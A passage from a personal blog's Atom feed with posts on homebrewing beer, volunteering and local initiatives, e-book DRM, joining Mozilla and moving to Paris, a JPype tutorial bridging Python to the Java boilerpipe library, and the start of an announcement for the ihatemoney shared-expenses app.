&lt;img alt="Filtrage filtrage..." src="images/filtrage.jpg" style="width: 700px;" /&gt;
&lt;p&gt;L'étape d'après (la quatrième, vous suivez), c'est &lt;strong&gt;le houblonnage&lt;/strong&gt;.
On va faire infuser notre &amp;quot;solution aqueuse&amp;quot; (wouah, on dirait de la chimie !)
avec du houblon. Il faut porter l'eau à ébullition et laisser faire durant 1h.&lt;/p&gt;
&lt;p&gt;Dernière étape: &lt;strong&gt;le refroidissement&lt;/strong&gt;. On dirait que c'est tranquilou comme
ça, mais en fait ça ne l'est pas tant que ça: il faut réussir à passer notre
liquide qui était en ébullition à 54°C en un temps acceptable. Pour ça, on
a utilisé un serpentin confectionné main.&lt;/p&gt;
&lt;img alt="Notre refroidisseur fait main par Fred." src="images/refroidisseur.jpg" style="width: 400px;" /&gt;
&lt;p&gt;Ça nous a permis de passer de 100°C à 54°C en… 35 minutes quand même ! (Nous avions essayé les fois précédentes
de gérer ça à coup de baignoire et de glaçons, les temps n'étaient absolument
pas au rendez-vous).&lt;/p&gt;
&lt;img alt="Décidement pas." src="images/refroidissement.jpg" style="width: 700px;" /&gt;
&lt;p&gt;Je disais dernière étape, mais il ne faut pas oublier de rajouter les
levures, qui elles vont faire tout le travail et transformer tout ça en… alcool
! Dans notre cas, on ajoute aussi dans la cuve de fermentation du houblon
question de donner l'amertume dont on a envie.&lt;/p&gt;
&lt;p&gt;On à mesuré une densité de 1046, ce qui veut dire 6° d'alcool. La cuve est
maintenant en train de buller tranquillement (les levures produisent du gaz qui
est évacué), et ça doit durer 15 jours approximativement.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="mise-en-bouteille"&gt;
&lt;h2&gt;Mise en bouteille&lt;/h2&gt;
&lt;p&gt;Une fois ces deux semaines passées, il faut mettre en bouteille. Dans notre cas
nous avons récupéré des bouteilles à bouchon mécanique (vous savez, les
bouteilles de limonades) qu'on à bien rincé et nettoyé.&lt;/p&gt;
&lt;p&gt;On s'équipe d'un siphon (pensez à prendre un tuyau avec un diamètre assez
important, le notre était petit et c'était assez long) et après avoir ajouté du
sucre dans le mélange (pour réactiver les levures), on remplit les bouteilles
! Il s'agit de la seconde fermentation, celle qui va faire les bulles (la
première fermentation se charge de l'alcool, la seconde des bulles).&lt;/p&gt;
&lt;p&gt;Et voilà ! Il ne reste plus qu'à mettre les bouteilles de coté durant deux
semaines de plus et… à déguster le moment venu.&lt;/p&gt;
&lt;p&gt;On a donc pu tester notre bière la semaine dernière et, ma foi, elle est pas
mal du tout. Elle ne mousse pas trop et à un goût un peu amer. Malheureusement
pas assez à mon goût, mais ça viendra. En comparaison à nos précédents essais,
c'est plutôt positif: la première était ratée puisque trop de pression et trop
de dépôt (et donc un fort goût de levures) alors que la seconde (on avait tenté
d'ajouter de la lavande) avait un goût de lavande amère, pour ne pas dire de
savon.&lt;/p&gt;
&lt;p&gt;Cette dernière bière a un goût de… de bière ! Il nous reste encore à comprendre
comment faire pour lui donner la saveur que l'on souhaite, mais c'est déjà un
grand pas en avant. Prochaine étape... La bière de Noël !&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Motivation, bénévolat et participation</title><link href="https://blog.notmyidea.org/motivation-benevolat-et-participation-fr.html" rel="alternate"></link><published>2012-04-10T00:00:00+02:00</published><updated>2012-04-10T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-04-10:/motivation-benevolat-et-participation-fr.html</id><summary type="html">&lt;p&gt;Des luttes, dieu (même si on peut à juste titre se demander ce qu'il vient
faire là) sait qu'il y en a. Principalement pour pointer du doigt les hérésies
du système actuel. Ça s'applique à l'informatique et à son système de brevets,
au &lt;a class="reference external" href="http://zad.nadir.org/"&gt;bétonnage de nos campagnes&lt;/a&gt; ou encore aux …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Des luttes, dieu (même si on peut à juste titre se demander ce qu'il vient
faire là) sait qu'il y en a. Principalement pour pointer du doigt les hérésies
du système actuel. Ça s'applique à l'informatique et à son système de brevets,
au &lt;a class="reference external" href="http://zad.nadir.org/"&gt;bétonnage de nos campagnes&lt;/a&gt; ou encore aux luttes
contre l'oligarchie et les profits d'une minorité aux dépends du reste du monde,
et à encore bien d'autres choses.&lt;/p&gt;
&lt;p&gt;Pendant un bout de temps, j'ai parlé d'entraide, de collaboration, j'ai essayé
de sensibiliser autour de la question environnementale et aux alternatives
sociales. C'est d'ailleurs de cette manière que je me suis moi-même le plus
sensibilisé à ces questions qui me préoccupaient.&lt;/p&gt;
&lt;p&gt;J'ai tenté de le faire sans tomber dans la critique des choix des uns et des
autres. Je respecte profondément la diversité des points de vues &lt;strong&gt;mais&lt;/strong&gt; je
souhaite également que ces choix soient faits en connaissance de cause.&lt;/p&gt;
&lt;p&gt;Une des choses difficile à supporter (pour les autres) quand on fait de la
sensibilisation, c'est le syndrôme du jeune con, du donneur de leçons.&lt;/p&gt;
&lt;p&gt;On dirait qu'on parle de sauver le monde. &amp;quot;Nous qui avons tout compris, on peut
vous aider à aller dans la &lt;em&gt;bonne direction&lt;/em&gt;&amp;quot;, mais c'est en oubliant que
la bonne direction pour l'un ne l'est pas nécessairement pour les autres…&lt;/p&gt;
&lt;div class="section" id="just-do-it"&gt;
&lt;h2&gt;Just do it !&lt;/h2&gt;
&lt;p&gt;Se battre &lt;em&gt;contre quelque chose&lt;/em&gt; permet de facilement trouver des personnes qui
partagent les même craintes alors que se battre &lt;em&gt;pour&lt;/em&gt; permet d'engager des
discussions avec des personnes qui partagent une vision commune.&lt;/p&gt;
&lt;p&gt;Proposer des choses, trouver des personnes qui partagent des points de vue est
un bon point de départ pour le changer ce monde, a notre échelle. Le récent
documentaire &lt;a class="reference external" href="http://justdoitfilm.com/"&gt;&amp;quot;Just do it&amp;quot;&lt;/a&gt; porte un message assez
clair: toute initiative compte, aussi petite et insignifiante qu'elle puisse
sembler.&lt;/p&gt;
&lt;p&gt;Des initiatives locales, il y en a, plein. Et si ce que nous avons dans notre
quotidien nous pèse (aller au supermarché, subir la sur-médiatisation
télévisuelle, ne pas parler à nos voisins de quartier…), qu'est-ce qui nous
empêche d'y substituer des modèles alternatifs ?&lt;/p&gt;
&lt;p&gt;Monter une &lt;a class="reference external" href="https://fr.wikipedia.org/wiki/AMAP"&gt;AMAP&lt;/a&gt; (Association Pour le Maintien d'une Agriculture Paysanne)
n'est pas aussi compliqué qu'il y parait. Pour avoir fait l'expérience par deux
fois, j'ai été très agréablement surpris par la facilité des choses, pour peu
qu'on ne cherche pas à s'encombrer de l'inutile (tiens encore une fois on
parle de frugalité !): il est facile de vouloir faire trop, de recréer les
processus complexes auxquels nous sommes souvent confrontés.&lt;/p&gt;
&lt;p&gt;Vous souhaitez partager des connaissances (cuisine, musique, danse, bricolage,
écriture), il suffit de le faire. En fait, pour la plupart des choses, il
suffit de tenter l'expérience, c'est rarement décevant. Surtout quand on
s'embarque dans des choses saugrenues ou personnellement inédites.&lt;/p&gt;
&lt;p&gt;Pour moi, la frugalité, la simplicité volontaire, la sobriété heureuse, appelez-ça
comme vous le voulez, représente ce qui me convient et me permet d'être en
ligne avec les idées que je défends.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="faciliter-la-participation"&gt;
&lt;h2&gt;Faciliter la participation&lt;/h2&gt;
&lt;p&gt;Beaucoup de personnes sont à même de participer à des projets locaux, pour peu
qu'ils soient au courant mais pour autant peu franchissent le pas, et encore
moins persévèrent, pourquoi ?&lt;/p&gt;
&lt;p&gt;Et pourquoi pas laisser les présents, les motivés, s'investir par eux-mêmes ?
Avoir des responsabilités est souvent pour ma part un frein à la réalisation
d'un projet lorsque je suis bénévole.&lt;/p&gt;
&lt;p&gt;Décider à l'avance des choses qui semblent utiles et/ou importantes est parfois
indispensable, mais ne pas trop en faire permet de laisser libre court
à l'imagination (souvent débordante) des participants.&lt;/p&gt;
&lt;p&gt;J'aime beaucoup l'idée de faire des camps de quelques jours, où rien n'est
réellement décidé à l'avance, mise à part un thème et quelques temps de
plénière ou il est possible à chacun de s'exprimer sur les projets qui
pourraient êtres réalisés.&lt;/p&gt;
&lt;p&gt;Pas besoin de tant de formalisation: mettez une équipe de bidouilleurs ensemble
durant une semaine sans objectif commun à priori et sans distractions, vous
verrez bien ce qui en ressortira !&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Les dangers du livre numérique</title><link href="https://blog.notmyidea.org/les-dangers-du-livre-numerique-fr.html" rel="alternate"></link><published>2012-01-23T00:00:00+01:00</published><updated>2012-01-23T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-01-23:/les-dangers-du-livre-numerique-fr.html</id><summary type="html">&lt;p&gt;Le framablog vient de publier &lt;a class="reference external" href="http://www.framablog.org/index.php/post/2012/01/22/stallman-ebook-livre-electronique"&gt;une traduction de l'article de RMS à propos des dangers du livre électronique&lt;/a&gt;. Intéressant, même si il faut faire attention à ne pas confondre livre électronique et risques liés au format de distribution.&lt;/p&gt;
&lt;p&gt;Si on passe sur le fait qu'un livre electronique est moins agréable …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Le framablog vient de publier &lt;a class="reference external" href="http://www.framablog.org/index.php/post/2012/01/22/stallman-ebook-livre-electronique"&gt;une traduction de l'article de RMS à propos des dangers du livre électronique&lt;/a&gt;. Intéressant, même si il faut faire attention à ne pas confondre livre électronique et risques liés au format de distribution.&lt;/p&gt;
&lt;p&gt;Si on passe sur le fait qu'un livre electronique est moins agréable à lire que sa version papier, il reste quand même quelques problèmes, la plupart liés au format de distribution de lœuvre.&lt;/p&gt;
&lt;p&gt;J'avoue ne pas trop savoir quoi penser de tout ça. D'un coté le livre électronique permet de franchir les frontières plus facilement, et semble avoir un tas d'avantage (notamment le fait que se trimbaler avec l'ensemble de sa collection de bouquins est désormais possible).&lt;/p&gt;
&lt;p&gt;A mon avis, ce qui pose vraiment problème, ce sont les formats sous lesquels ces livres sont mis à disposition, non pas les livres eux même. Encore une question de DRMs donc…&lt;/p&gt;
&lt;p&gt;Encore une problématique liée au copyright et au fait que le copie privée pose des problèmes à l'industrie en place. Ça renvoie à des questions plus profondes, et principalement à la mise en perspective du producteur de contenu et du consomateur de ce même contenu. Exactement ce qu'on essaye de résoudre dans le milieu agricole par le biais des AMAPs.&lt;/p&gt;
&lt;p&gt;Sauf qu'ici, on est face au simple problème de la dématérialisation. Est-ce qu'une responsabilisation des consommateurs ne pourrait pas résoudre ce problème de publication ?&lt;/p&gt;
&lt;p&gt;Recemment, j'ai récupéré une version piratée d'un livre technique, simplement parce que je ne trouvais pas une version de ce livre en numérique qui me permette de faire une copie privée de celui ci. Un Epub, par exemple. J'ai fait en me disant que c'était un acte militant. Sauf que non, ce n'est pas une solution soutenable, et j'en viens maintenant presque à le regretter. On en discutait rapidement avec &lt;a class="reference external" href="http://ziade.org"&gt;Tarek&lt;/a&gt; il y à quelques jours et il pointait du doigt que ceux qui en patissent sont les auteurs des livres, non pas les éditeurs (qu'il ne faut pas non plus diaboliser selon moi, ils cherchent à trouver des manières de garder leur coeur de métier).&lt;/p&gt;
&lt;p&gt;Or, avoir des auteurs, des personnes qui sont prêtes à partager leur savoir à de larges audiences me semble primordial pour que la répartition du savoir continue à se répendre. Certes, le blogging permet cela dans une faible mesure, mais de manière bien moins construite, et surtout, est fait de manière bénévole (à moins que certains bloggeurs aient trouvé des moyens de rémunération dont j'ignore l'existance ?), donc il est plus difficile pour les auteurs de se dégager du temps pour travailler sur de gros ouvrages (ceci est bien évidemment une généralisation).&lt;/p&gt;
&lt;p&gt;Quelles sont nos solutions, donc ? Peut être se tourner vers des solution de publication alternatives, couplées à une résponsabilisation des lecteurs. Je ne pense pas necessairement aux plateformes alternatives comme &lt;a class="reference external" href="http://framabook.org"&gt;framabook&lt;/a&gt;, parce que je me demande toujours si cela est une solution viable pour les auteurs, du moins dans les premières années, mais au moins des éditeurs qui ne font pas le choix du grand verrou numérique.&lt;/p&gt;
&lt;p&gt;On demande pas grand chose, pourtant… Peut être même que de telles initiatives existent déjà ?&lt;/p&gt;
&lt;p&gt;Et vous, vous les achetez ou vos livres ?&lt;/p&gt;
</content></entry><entry><title>2012, first months</title><link href="https://blog.notmyidea.org/2012-first-months.html" rel="alternate"></link><published>2012-01-21T00:00:00+01:00</published><updated>2012-01-21T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2012-01-21:/2012-first-months.html</id><summary type="html">&lt;p&gt;A lot of changes in these last months. First of all, I've started to
work for &lt;a class="reference external" href="http://mozilla.org"&gt;Mozilla&lt;/a&gt;, on the Services team, where I am working on
web services and scalability. Basically, what we are trying to do at services
is to provide a way for developers to make web services …&lt;/p&gt;</summary><content type="html">&lt;p&gt;A lot of changes in these last months. First of all, I've started to
work for &lt;a class="reference external" href="http://mozilla.org"&gt;Mozilla&lt;/a&gt;, on the Services team, where I am working on
web services and scalability. Basically, what we are trying to do at services
is to provide a way for developers to make web services able to scale out of
the box.&lt;/p&gt;
&lt;p&gt;Our most visible and known project, so far, is Firefox Sync, which allows to synchronize
browsing data (tabs, passwords, history, etc.) among different instances of
Firefox. We are also building other things, such as a way to get metrics
easily, a web service based queue, etc. Our primary consumers are
people inside Mozilla, and we want to help them having a simple way to create,
deploy and scale their apps. The project is named &amp;quot;sagrada&amp;quot;, and you
can find some more information about it on &lt;a class="reference external" href="https://wiki.mozilla.org/Services/Sagrada"&gt;our public wiki&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;All of what we do, we do it in the open. So you can have a look at &lt;a class="reference external" href="http://github.com/mozilla-services"&gt;the
different pieces of code we wrote&lt;/a&gt;
and use them / contribute if you want to.&lt;/p&gt;
&lt;p&gt;I will not dig in to all the details of what I have been doing, but so far, this have been
a pretty amazing experience. Part of this is explainable by the fact that the
team is made of amazing folks, all with a strong experience in different
topics, so I'm learning things™.&lt;/p&gt;
&lt;p&gt;I am currently practicing a bit my C++ to do crypto related things (I may or
may not talk about this later on this web-logs) and it's great (well, it
remembers me why I love python for so many things, but it makes me think closer
to the metal ;)). I love this job.&lt;/p&gt;
&lt;p&gt;Second, I moved to Paris. Yes, Paris. Some of you who know me a bit may find
it unexpected, and that's the case. I'm usually not a big fan of big cities and
am a fairly strong defender of having and creating activities in the country side,
to face the rural exodus problem, into other thingS.&lt;/p&gt;
&lt;p&gt;I didn't changed my opinion about that. However, I don't want to &lt;em&gt;start&lt;/em&gt; by
working remote, especially when working with a remote team. Having offices kind
of help me to have a differentiation between my working place and home, which I
find to be important.&lt;/p&gt;
&lt;p&gt;And, to be honest, I don't like Paris for unknown reasons: I
haven't been there, so it's a big over-generalisation to say that it's not
good for me. The reality is that I have no idea of what Paris is, and if I'll
like it or not.&lt;/p&gt;
&lt;p&gt;I found a really nice house (yeah, a house!) in Paris and am sharing it with 3
other persons. We have room, all like good food and…
they are not geeks, which is a big win for me: work is work and home is home.&lt;/p&gt;
&lt;p&gt;So far, Paris had been really nice. A lot of things are going on in here, and I
kind of like the way it is possible to find alternative related things in here.
I found a &lt;a class="reference external" href="http://en.wikipedia.org/wiki/Community-supported_agriculture"&gt;CSA&lt;/a&gt;,
some people interested by agriculture related problems and I like where things
seems to be going.&lt;/p&gt;
&lt;p&gt;So, new job, new house, new city, things are going forward and that's great.&lt;/p&gt;
&lt;p&gt;Oh, and I will try to post some more technical articles soon,
I'm missing them :)&lt;/p&gt;
</content></entry><entry><title>Using JPype to bridge python and Java</title><link href="https://blog.notmyidea.org/using-jpype-to-bridge-python-and-java.html" rel="alternate"></link><published>2011-11-06T00:00:00+01:00</published><updated>2011-11-06T00:00:00+01:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2011-11-06:/using-jpype-to-bridge-python-and-java.html</id><summary type="html">&lt;p&gt;Java provides some interesting libraries that have no exact equivalent in
python. In my case, the awesome boilerpipe library allows me to remove
uninteresting parts of HTML pages, like menus, footers and other &amp;quot;boilerplate&amp;quot;
contents.&lt;/p&gt;
&lt;p&gt;Boilerpipe is written in Java. Two solutions then: using java from python or
reimplement boilerpipe …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Java provides some interesting libraries that have no exact equivalent in
python. In my case, the awesome boilerpipe library allows me to remove
uninteresting parts of HTML pages, like menus, footers and other &amp;quot;boilerplate&amp;quot;
contents.&lt;/p&gt;
&lt;p&gt;Boilerpipe is written in Java. Two solutions then: using java from python or
reimplement boilerpipe in python. I will let you guess which one I chosen, meh.&lt;/p&gt;
&lt;p&gt;JPype allows to bridge python project with java libraries. It takes another
point of view than Jython: rather than reimplementing python in Java, both
languages are interfacing at the VM level. This means you need to start a VM
from your python script, but it does the job and stay fully compatible with
Cpython and its C extensions.&lt;/p&gt;
&lt;div class="section" id="first-steps-with-jpype"&gt;
&lt;h2&gt;First steps with JPype&lt;/h2&gt;
&lt;p&gt;Once JPype installed (you'll have to hack a bit some files to integrate
seamlessly with your system) you can access java classes by doing something
like that:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jpype&lt;/span&gt;
&lt;span class="n"&gt;jpype&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;startJVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jpype&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getDefaultJVMPath&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="c1"&gt;# you can then access to the basic java functions&lt;/span&gt;
&lt;span class="n"&gt;jpype&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lang&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;hello world&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# and you have to shutdown the VM at the end&lt;/span&gt;
&lt;span class="n"&gt;jpype&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;shutdownJVM&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Okay, now we have a hello world, but what we want seems somehow more complex.
We want to interact with java classes, so we will have to load them.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="interfacing-with-boilerpipe"&gt;
&lt;h2&gt;Interfacing with Boilerpipe&lt;/h2&gt;
&lt;p&gt;To install boilerpipe, you just have to run an ant script:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ cd boilerpipe
$ ant
&lt;/pre&gt;
&lt;p&gt;Here is a simple example of how to use boilerpipe in Java, from their sources&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;de.l3s.boilerpipe.demo&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.net.URL&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;de.l3s.boilerpipe.extractors.ArticleExtractor&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Oneliner&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="n"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="n"&gt;URL&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="n"&gt;URL&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;http://notmyidea.org&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ArticleExtractor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;INSTANCE&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getText&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;To run it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ javac -cp dist/boilerpipe-1.1-dev.jar:lib/nekohtml-1.9.13.jar:lib/xerces-2.9.1.jar src/demo/de/l3s/boilerpipe/demo/Oneliner.java
$ java -cp src/demo:dist/boilerpipe-1.1-dev.jar:lib/nekohtml-1.9.13.jar:lib/xerces-2.9.1.jar de.l3s.boilerpipe.demo.Oneliner
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Yes, this is kind of ugly, sorry for your eyes.
Let's try something similar, but from python&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;jpype&lt;/span&gt;
&lt;span class="c1"&gt;# start the JVM with the good classpaths&lt;/span&gt;
&lt;span class="n"&gt;classpath&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;dist/boilerpipe-1.1-dev.jar:lib/nekohtml-1.9.13.jar:lib/xerces-2.9.1.jar&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;jpype&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;startJVM&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jpype&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getDefaultJVMPath&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;-Djava.class.path=&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;classpath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# get the Java classes we want to use&lt;/span&gt;
&lt;span class="n"&gt;DefaultExtractor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;jpype&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;JPackage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;de&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;l3s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;boilerpipe&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;extractors&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DefaultExtractor&lt;/span&gt;
&lt;span class="c1"&gt;# call them !&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt; &lt;span class="n"&gt;DefaultExtractor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;INSTANCE&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;getText&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;jpype&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;java&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;http://blog.notmyidea.org&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;And you get what you want.&lt;/p&gt;
&lt;p&gt;I must say I didn't thought it could work so easily. This will allow me to
extract text content from URLs and remove the &lt;em&gt;boilerplate&lt;/em&gt; text easily
for infuse (my master thesis project), without having to write java code, nice!&lt;/p&gt;
&lt;/div&gt;
</content><category term="python"></category><category term="java"></category></entry><entry><title>How are you handling your shared expenses?</title><link href="https://blog.notmyidea.org/how-are-you-handling-your-shared-expenses.html" rel="alternate"></link><published>2011-10-15T00:00:00+02:00</published><updated>2011-10-15T00:00:00+02:00</updated><author><name>Alexis Métaireau</name></author><id>tag:blog.notmyidea.org,2011-10-15:/how-are-you-handling-your-shared-expenses.html</id><summary type="html">&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; We're kick-starting a new application to manage your shared
expenses. Have a look at &lt;a class="reference external" href="http://ihatemoney.notmyidea.org"&gt;http://ihatemoney.notmyidea.org&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;As a student, I lived in a lot of different locations, and the majority of them
had something in common: I lived with others. It usually was a great experience …&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; We're kick-starting a new application to manage your shared
expenses. Have a look at &lt;a class="reference external" href="http://ihatemoney.notmyidea.org"&gt;http://ihatemoney.notmyidea.org&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;As a student, I lived in a lot of different locations, and the majority of them
had something in common: I lived with others. It usually was a great experience
(and I think I will continue to live with others). Most of the time, we had to
spend some time each month to compute who had to pay what to the others.&lt;/p&gt;
&lt;p&gt;I wanted to create a pet project using flask, so I wrote a little
(~150 lines) flask application to handle this. It worked out pretty well for my
housemates and me, and as we had to move into different locations,
one of them asked me if he could continue to use it for the year to come.&lt;/p&gt;
&lt;p&gt;I said yes and gave it some more thoughts: We probably aren't the only ones
interested by such kind of software. I decided to extend a bit more the
software to have a concept of projects and persons (the list of persons was
hard-coded in the first time, boooh!).&lt;/p&gt;
&lt;p&gt;I then discussed with a friend of mine, who was excited about it and wanted to learn
python. Great! That's a really nice way to get started. Some more friends were also
interested in it and contributed some features and provided feedback (thanks
&lt;a class="reference external" href="http://www.sneakernet.fr/"&gt;Arnaud&lt;/a&gt; and Quentin!)&lt;/p&gt;
&lt;p&gt;Since that, the project now support multiple languages and provides a REST API
(android and iphone apps in the tubes!), into other things.
There is no need to register for an account or whatnot, just enter a project name,
a secret code and a contact email, invite friends and that's it (this was inspired by
doodle)!&lt;/p&gt;
&lt;img alt="Capture d'écran du site." src="images/ihatemoney.png" /&gt;
&lt;p&gt;You can try the project at &lt;a class="reference external" href="http://ihatemoney.notmyidea.org"&gt;http://ihatemoney.notmyidea.org&lt;/a&gt; for now, and the
code lives at &lt;a class="reference external" href="https://github.com/spiral-project/ihatemoney/"&gt;https://github.com/spiral-project/ihatemoney/&lt;/a&gt;.&lt;/p&gt;
&lt;div class="section" id="features"&gt;
&lt;h2&gt;Features&lt;/h2&gt;
&lt;p&gt;In the wild, currently, there already are some implementations of this shared
budget manager thing. The fact is that most of them are either hard to use, with
a too much fancy design or simply trying to do too much things at once.&lt;/p&gt;
&lt;p&gt;No, I don't want my budget manager to make my shopping list, or to run a blog for
me, thanks. I want it to let me focus on something else. Keep out of my way.&lt;/p&gt;
&lt;div class="section" id="no-user-registration"&gt;
&lt;h3&gt;No user registration&lt;/h3&gt;
&lt;p&gt;You don't need to register an account on the website to start using it. You
just have to create a project, set a secret code for it, and give both the url and
the code to the people you want to share it with (or the website can poke
them for you).&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="keeping-things-simple"&gt;
&lt;h3&gt;Keeping things simple&lt;/h3&gt;
&lt;p&gt;&amp;quot;Keep It Simple, Stupid&amp;quot; really matches our philosophy here: you want to add a
bill? Okay. Just do it. You just have to enter who paid, for who, how much,
